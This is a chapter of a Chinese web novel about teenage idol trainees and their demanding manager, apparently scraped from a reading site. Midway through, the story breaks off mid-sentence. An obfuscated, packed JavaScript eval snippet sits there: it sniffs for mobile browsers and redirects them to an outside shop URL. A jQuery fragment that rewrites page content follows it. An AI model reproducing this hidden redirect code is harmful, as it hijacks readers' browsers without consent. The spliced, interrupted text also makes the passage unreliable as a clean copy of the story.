28. 第十二章·你都有1

作品:《为我唱首年度歌[娱乐圈]

    李亦泉是抱着“必死”的决心面对整容,好在结果没她想象得那么坏,或者她根本就是杞人忧天——苏文馨从没说这次检查后立刻整容,她听到的关于整容的传闻都是练习生之间以讹传讹。


    她走进那间屋子时,施小琦还在里面,苏文馨和一个穿白大褂的人说着什么,旁边有个工作人员负责记录。等施小琦走了,那人就把李亦泉的资料递给医生。整个检查过程只有短短几分钟,穿白大褂的人捏捏李亦泉的鼻子,挑起她的眼皮,又使劲掐她的脸。李亦泉觉得自己的脸像一个面团,任人蹂|躏。


    等“蹂|躏”结束,医生对苏文馨说了好多话,一边说一边在李亦泉的照片上写写画画。她说的话有的能听懂,有的听不懂,因为夹杂了好多奇怪的名词。大概过了二十分钟,苏文馨跟李亦泉说,你可以出去了。


    李亦泉一愣,没料到这么快结束,原来你害怕的事情,最大的恐怖之处在于你的想象。


    整容检查这件事结束,练习生迎来了更密集的训练课程。预备役13人单独上课,原先的舞蹈、声乐和演技三项,被细分为许多小课程。比如舞蹈除了练习基本功,还要排练团体舞蹈,涉及复杂的队形变换和配合。再比如声乐,从过去单纯的独唱到歌词分配、分声部、合唱等等。


    同时,预备役取消了每月的小测考试,取而代之的是周测。也就是说,以前每月一次拼命,现在每周一次玩命,周测的紧张程度远远胜于小测。


    以前月末测评时,每个人都是独自努力,你的排名好坏只关系个人安危。想出道的就努力训练,混日子的排名靠后也没人关心。现在不一样了,每次周测苏文馨都到场,且周测成绩当场公布,排名靠后的人,苏文馨会毫不留情地大加批评。


    本来预备役训练强度就大,周测时还要当着练习生、老师被教训,心理压力更大。难怪有预备役的人开玩笑说,早知苏文馨是这种母老虎的性格,还不如安安静静待在普通班。


    话虽这样说,敢跟苏文馨请辞的人却从来没有。大家都是奋斗很久才得到出道的机会,马拉松比赛就差最后的冲刺,谁都不会等闲视之,我们几位主人公亦是如此。


    施小琦已经经过“非正式”出道,大家都认为他是“确定出道”的人选,但他并没掉以轻心。他好像受了刺激似的,比以前更加勤快地训练。别人上课时他上课,别人下课了他还给自己加课;别人吃饭时他训练,别人训练时他从不吃饭;别人晚上回家休息,施小琦主动跟公司申请,说想在休息室临时驻扎。可惜这件事被苏文馨拒绝了。


    苏文馨很欣赏施小琦,他是个踏实认真、勤勉听话的孩子,他优秀的舞蹈功底是公司仰仗的资本,他的单纯和善良又便于公司操纵。


    但苏文馨还有另一番考量。施小琦虽然优秀,公司却不能无所顾忌地提拔他,给他行便利条件。要知道组合出道,最怕一人独大。若公司过于倾向组合里的某一个人,资源分配不均,一来会导致个人膨胀、队内不和,二来组合内其他人的粉丝会猜疑、辱骂其他成员或公司,俗称“撕逼”。


    苏文馨在某次周测后找过施小琦,先是表扬他两次周测综合成绩拿了前三,又委婉地拒绝他在公司休息室驻扎的请求,最后关怀地说:“编舞老师反映你最近不怎么休息,怕你会生病,你可以适当调整一下。”


    施小琦听她说不让睡休息室后,整个人就开始走神了,后来的话他都没听进去,只是木木地点头。苏文馨想了片刻问:“你是不是发生什么事了?是学校成绩下降了,还是家里有什么事?”


    君山娱乐文化公司一直关注练习生的学习成绩,尤其是A班和预备役。苏文馨认为学习能力是个人能力的一种体现,在中国这个传统教育观念盛行的国家,一个优秀的偶像,除了声乐、舞蹈、外形条件,在校成绩也是吸引粉丝的重要法宝。


    施小琦的成绩在学校是中上水平,偶尔还能有名列前茅的科目,这也是公司大力推选他,在SLAM演唱会让他露脸的原因之一。


    没听说他最近成绩下滑啊?苏文馨疑惑地望着眼前的小男孩,施小琦耷拉着脑袋,也不回话。


    施小琦到底有什么心结,要靠拼命练习来遗忘呢,苏文馨看不出来,各位读者应该心知肚明吧。


    十五岁的施小琦,错把钟茗当成“单身”的梦中情人。有的人从喜欢上的那一刻,就开始了漫长细碎的失恋,那么深刻,又那么绝望。


    那边施小琦“不为外撼,不以物移”,刻苦训练,我们的女主角李亦泉可没他这般“抛头颅洒热血”。


    李亦泉周测的成绩不好不坏,预备役一共13人,两次周测她都排第七。她在学校面临学习的压力,她因户口问题虽然不能在武汉本地参加中考,但胖子班主任是个善良的teacher,不会放弃每一个孩子,对李亦泉也不忘督促。李小孩每天晚上补完课才匆匆赶来公司训练,再加上她是预备役里进公司时间最短的,能拿到这样的排名实属不易。


    不过李亦泉能在短时间取得如此骄人的成绩,公司自然对她青睐有加。从为她负担学费到谢照和授课点拨,这一次,苏文馨亲自出场了。


    苏文馨和李亦泉的关系有些奇怪。她是把她从穷乡僻壤的小县城带出来的人,按说是她的贵人。可李亦泉性格别扭,没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980983|193581||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说过什么感谢的话,苏文馨除了惯常问询,对她也没半点多余的偏心。那些练习生间盛传的“特殊照顾”、“背景户关系户”、甚至离奇的“私生女”,在她们之间根本不存在。


    本来两人按自身性格行事,由于外界传言太盛,主要是李亦泉这边听到的流言太多,以致她每次见到苏文馨,都幻想对方是不是真对她有所偏袒,而每当这种猜想破灭,都会让她尴尬不已。


    同样的情况再度发生,这回苏文馨找她,跟她商量退出学校补习班的事。


    前文说过,李亦泉所在的初三七班,为了提高总体成绩,放学后搞了一个补习班,李亦泉一直坚持参加,这导致她周一到周五来公司的时间,总比其他练习生晚半个小时。


    预备役单独训练后,晚来的李亦泉总是给大家造成很多不便。当舞蹈老师编排团体舞蹈,需要按身高和个人情况安排队形时;当声乐老师要练习合唱,分声部并且分配歌词时,不在场的李亦泉总是让人惦记。如果她七点半来了练习室,排演的队形位置、分配的歌词唱段不适合她,老师还要重新为她调整,改变其他人的部分。


    有几位老师同时反映了这个问题,苏文馨就找来李亦泉,问她能否退出学校补习。


    李亦泉面对这个问题,沉默了好长时间。她思考能力很强,“圆桌会议”那天心中埋下的问题,至今无人解答。


    预备役13名练习生什么时候出道,是否全部都能出道,出道后能否大红大紫达到公司的要求,都是她考虑的问题。她不敢质问苏文馨,她还是公司任人宰割的练习生,没有立场。她坚持上学,假如预备役被刷,她还有一条文化课的后路,除此之外,她也在抵抗苏文馨的权威。


    她小小年纪就知抗争,那些命运系于身上的枷锁——贫穷、卑微、自闭和无力——她要顽强斗争,哪怕胜利的果实微乎其微,她既然生下来,就不想苟且地活下去。


    她不敢直接反驳苏文馨,找了各种理由“婉拒”,最后搬出胖子班主任做挡箭牌,让苏文馨亲自给老师打电话。


    工作了的成年人与学生最大的不同,大概在于丢失的善心。苏文馨并非李亦泉的监护人,自然不会做那些额外工作,她只是默默注视着这个小孩,显出了与以往不同的神色。


    她想起早些时候,陆漫然在公司发生的暴力事件。她送李亦泉回家那晚,小女孩也是这般絮絮叨叨。那时和此刻的情景叠加,苏文馨意识到,李亦泉并不像看上去那般内向寡言。


    李亦泉是一个有自己世界的girl,她一心要走的路,是不会与外人言说的秘密,她绝不会把这个世界,让给鄙视她的人。